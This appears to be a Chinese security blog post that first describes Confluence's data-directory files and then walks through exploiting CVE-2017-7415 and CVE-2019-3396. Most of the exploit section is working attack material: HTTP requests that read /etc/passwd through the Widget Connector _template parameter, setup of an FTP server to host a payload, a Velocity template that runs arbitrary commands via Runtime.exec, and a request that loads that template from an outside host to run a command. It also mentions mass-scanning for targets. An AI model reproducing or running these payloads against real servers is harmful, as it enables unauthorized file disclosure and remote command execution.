Atlassian Confluence安全问题

Atlassian主要有5款产品,分别面向不同的市场。

JIRA(项目、任务管理软件,2002年上线)、Confluence(企业知识管理与协同软件,2004年上线)、BitBucket(代码库,2010年上线)、HipChat(内部聊天/协作软件,2012年上线)以及JIRA Service Desk(服务台软件,2013年上线)。

JIRA被业界公认为最好的项目管理和敏捷开发管理工具
Confluence被认为是最好用的企业级Wiki和知识管理工具

Confluence的Home目录是Confluence存储其配置信息、搜索索引和附件的目录。 “Home目录”也叫“数据目录”。

Atlassian Confluence其他文件及目录的介绍:

  • confluence.cfg.xml: 包含confluence的各种属性。
  • attachments/: confluence上的所有附件都存在这里。如果想要更改,可以编辑confluence.cfg.xml文件的这个属性attachments.dir
  • backups/: 每日自动备份(或手动备份)的内容会存放在这里,文件名大概是:daily-backup-YYYY_MM_DD.zip这个样子。想要更改这个位置,可以编辑confluence.cfg.xml的这个属性daily.backup.dir。
  • bundled-plugins/: 每次confluence重启的时候,都会重新从数据库中读取。所以,删除这个目录下的文件并不能卸载这个插件!
  • database/: 如果使用外部数据库,比如mysql,就不会用到这个目录。
  • index/: 应用程序大量使用Confluence索引进行内容搜索和最近更新的列表,这对于正在运行的Confluence实例至关重要。 如果此目录中的数据丢失或损坏,可以通过从Confluence中运行完整重新索引来恢复它。 此过程可能需要很长时间,具体取决于Confluence数据库存储的数据量
  • journal/: [暂时不太清楚]
  • logs/: confluence的应用日志。
  • plugin-cache/: Confluence所有的插件都存放在数据库中,但为了能快速访问插件JARs中的类,于是把插件缓存到了这个目录下。当系统安装或者卸载插件的时候会更新这个目录。每次confluence重启的时候,都会重新从数据库中读取。所以,删除这个目录下的文件并不能卸载这个插件!
  • temp/: 用于一些运行时的功能,比如exporting, importing, file upload and indexing。此目录中的文件是临时文件,可在Confluence关闭时被安全地删除。 Confluence中的daily job会删除不再需要的文件。也可以在confluence.cfg.xml文件中定义不同的temp目录,然后在webwork.multipart.saveDir属性中设置新的值
  • thumbnails/: 存放图片文件的缩略图。
  • shared-home/: 某些功能的缓存文件,比如Office文件以及PDF预览也放在这个目录下。也用于迁移到Data Center,。

Atlassian Confluence未授权信息泄露(低版本)(CVE-2017-7415)

漏洞危害:

Atlassian Confluence 6.0.7之前的6.x版本中存在安全漏洞。远程攻击者可利用该漏洞绕过身份验证,读取任意日志或页面。

影响范围:
6.0.0 <= version < 6.0.7

需要登陆的网页

1
http://cqq.com:8090/pages/viewpage.action?pageId=65546

存在tinymce富文本编辑器,其中/rest/tinymce/1/content允许匿名访问,无需登录。

1
http://cqq.com:8090/rest/tinymce/1/content/65546/draft/diff

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

详情:
服务端模版注入(Server-side Template Injection,SSTI),影响组件Widget Connector(小工具连接器)。
影响版本:

6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本

影响组件:

Widget Connector <=3.1.3

漏洞复现

1.钟馗之眼批量

2.burp漏洞验证

1
2
3
4
5
6
7
8
9
10
11
12
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 182.116.***.***:9080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 171
Connection: keep-alive

{"contentId":"0","macro":{"name":"widget","body":"","params":{"url":"https://dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"file:///etc/passwd"}}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

RCE

1.ftp开启(python的pyftpdlib貌似只能在局域网开ftp)

1
2
pip install pyftpdlib
python -m pyftpdlib -p 8888

2.command.rm放在vps上

1
2
3
4
5
6
7
8
9
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

3.命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive

{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/command.vm","command":"id"},"body":""}}
-------------本文结束感谢您的阅读-------------